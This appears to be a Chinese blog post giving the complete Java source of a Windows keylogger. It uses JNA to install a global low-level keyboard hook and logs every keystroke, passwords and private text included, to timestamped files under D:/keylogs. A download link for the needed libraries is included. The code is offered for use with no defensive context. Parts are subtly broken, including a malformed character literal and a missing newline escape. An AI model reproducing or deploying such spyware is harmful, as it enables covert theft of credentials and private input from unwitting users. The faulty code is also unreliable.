需要用到的 jna及jna-platform jar包
链接: https://pan.baidu.com/s/1C7Nr_ncifHgzybaobjPJlQ 提取码: ew5n
代码如下
import java.io.*;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import com.sun.jna.Pointer;
import com.sun.jna.platform.win32.Kernel32;
import com.sun.jna.platform.win32.User32;
import com.sun.jna.platform.win32.WinDef.HMODULE;
import com.sun.jna.platform.win32.WinDef.LPARAM;
import com.sun.jna.platform.win32.WinDef.LRESULT;
import com.sun.jna.platform.win32.WinDef.WPARAM;
import com.sun.jna.platform.win32.WinUser;
import com.sun.jna.platform.win32.WinUser.HHOOK;
import com.sun.jna.platform.win32.WinUser.KBDLLHOOKSTRUCT;
import com.sun.jna.platform.win32.WinUser.LowLevelKeyboardProc;
import com.sun.jna.platform.win32.WinUser.MSG;
public class WindowsKeybordListener {
private static HHOOK hhk;
private static LowLevelKeyboardProc keyboardHook;
static List singleInput = new ArrayList(); //输入字符code集合
private static String text = ""; //输入字符值拼接
private static String caseCode() { //字符code集合转为字符值拼接
StringBuffer buffer = new StringBuffer();
for (Character i : singleInput) {
buffer.append(i);
}
return buffer.toString();
}
public static void main(String[] args) {
final User32 lib = User32.INSTANCE;
HMODULE hMod = Kernel32.INSTANCE.GetModuleHandle(null);
keyboardHook = new LowLevelKeyboardProc() {
boolean isShiftUp = false;
@Override
public LRESULT callback(int nCode, WPARAM wParam, KBDLLHOOKSTRUCT info) {
if (nCode >= 0) {
switch (wParam.intValue()) {
case WinUser.WM_KEYDOWN:// 只监听键盘按下
text = caseCode();
if (text.length() >= 50) { //输入字符超过30个即换行输出文件
System.out.println(text);
singleInput.clear();
//指定文件夹创建记录文件
String filePath = "D:/keylogs";
Date date = new Date();
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH-mm-ss");
String curTime = format.format(date);
File file = new File(filePath+"/"+curTime.substring(0,10)+".doc");
try {
if(!file.exists()) {
file.createNewFile();
}
} catch(IOException e){
e.printStackTrace();
}
StringBuffer buffer = new StringBuffer("");
try {
FileInputStream fileInputStream = new FileInputStream(file);
InputStreamReader inputStreamReader = new InputStreamReader(fileInputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String line = bufferedReader.readLine();
while(line!=null){
buffer.append(line);
buffer.append("n");
line = bufferedReader.readLine();
}
inputStreamReader.close();
text = buffer + text +" -> "+curTime;
FileOutputStream fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(text.getBytes());
fileOutputStream.close();
}catch (Exception e) {
e.printStackTrace();
}
break;
}
// 按下的是shift键时，标记一下
if (info.vkCode == 160) {
isShiftUp = true;
}
if (!isShiftUp) {
if (info.vkCode >= 65 && info.vkCode <= 90) {// 字母键
singleInput.add((char) (info.vkCode + 32));
} else if (info.vkCode >= 219 && info.vkCode <= 221) {// []
singleInput.add((char) (info.vkCode - 128));
} else if (info.vkCode >= 188 && info.vkCode <= 191) {// ,-./
singleInput.add((char) (info.vkCode - 144));
} else if (info.vkCode >= 48 && info.vkCode <= 57) {// 数字键
singleInput.add((char) info.vkCode);
}
if (info.vkCode == 186) {
singleInput.add(';');
}
if (info.vkCode == 187) {
singleInput.add('=');
}
if (info.vkCode == 192) {
singleInput.add('`');
}
if (info.vkCode == 222) {
singleInput.add(''');
}
} else {
// 大写字母
if (info.vkCode >= 65 && info.vkCode <= 90) {
singleInput.add((char) info.vkCode);
}
switch (info.vkCode) {
case 186:
singleInput.add(':');
break;
case 187:
singleInput.add('+');
break;
case 188:
singleInput.add('<');
break;
case 189:
singleInput.add('_');
break;
case 190:
singleInput.add('>');
break;
case 191:
singleInput.add('?');
break;
case 192:
singleInput.add('~');
break;
case 219:
singleInput.add('{');
break;
case 220:
singleInput.add('|');
break;
case 221:
singleInput.add('}');
break;
case 222:
singleInput.add('"');
break;
case 48:
singleInput.add('!');
break;
case 50:
singleInput.add('@');
break;
case 51:
singleInput.add('#');
break;
case 52:
singleInput.add('$');
break;
case 53:
singleInput.add('%');
break;
case 54:
singleInput.add('^');
break;
case 55:
singleInput.add('&');
break;
case 56:
singleInput.add('*');
break;
case 57:
singleInput.add('(');
break;
case 58:
singleInput.add(')');
break;
}
}
break;
case WinUser.WM_KEYUP:// 按键起来
if (info.vkCode == 160) {
isShiftUp = false;
}
break;
}
}
Pointer ptr = info.getPointer();
long peer = Pointer.nativeValue(ptr);
return lib.CallNextHookEx(hhk, nCode, wParam, new LPARAM(peer));
}
};
hhk = lib.SetWindowsHookEx(WinUser.WH_KEYBOARD_LL, keyboardHook, hMod, 0);
// This bit never returns from GetMessage
int result;
MSG msg = new MSG();
while ((result = lib.GetMessage(msg, null, 0, 0)) != 0) {
if (result == -1) {
// System.err.println("error in get message");
break;
} else {
// System.err.println("got message");
lib.TranslateMessage(msg);
lib.DispatchMessage(msg);
}
}
lib.UnhookWindowsHookEx(hhk);
}
}
以上代码参考某个前辈的经验，后期结合了自己的想法，搞得时候忘了记录链接，如果发现有自己的代码，请及时联系我，我会加上对应的参考链接
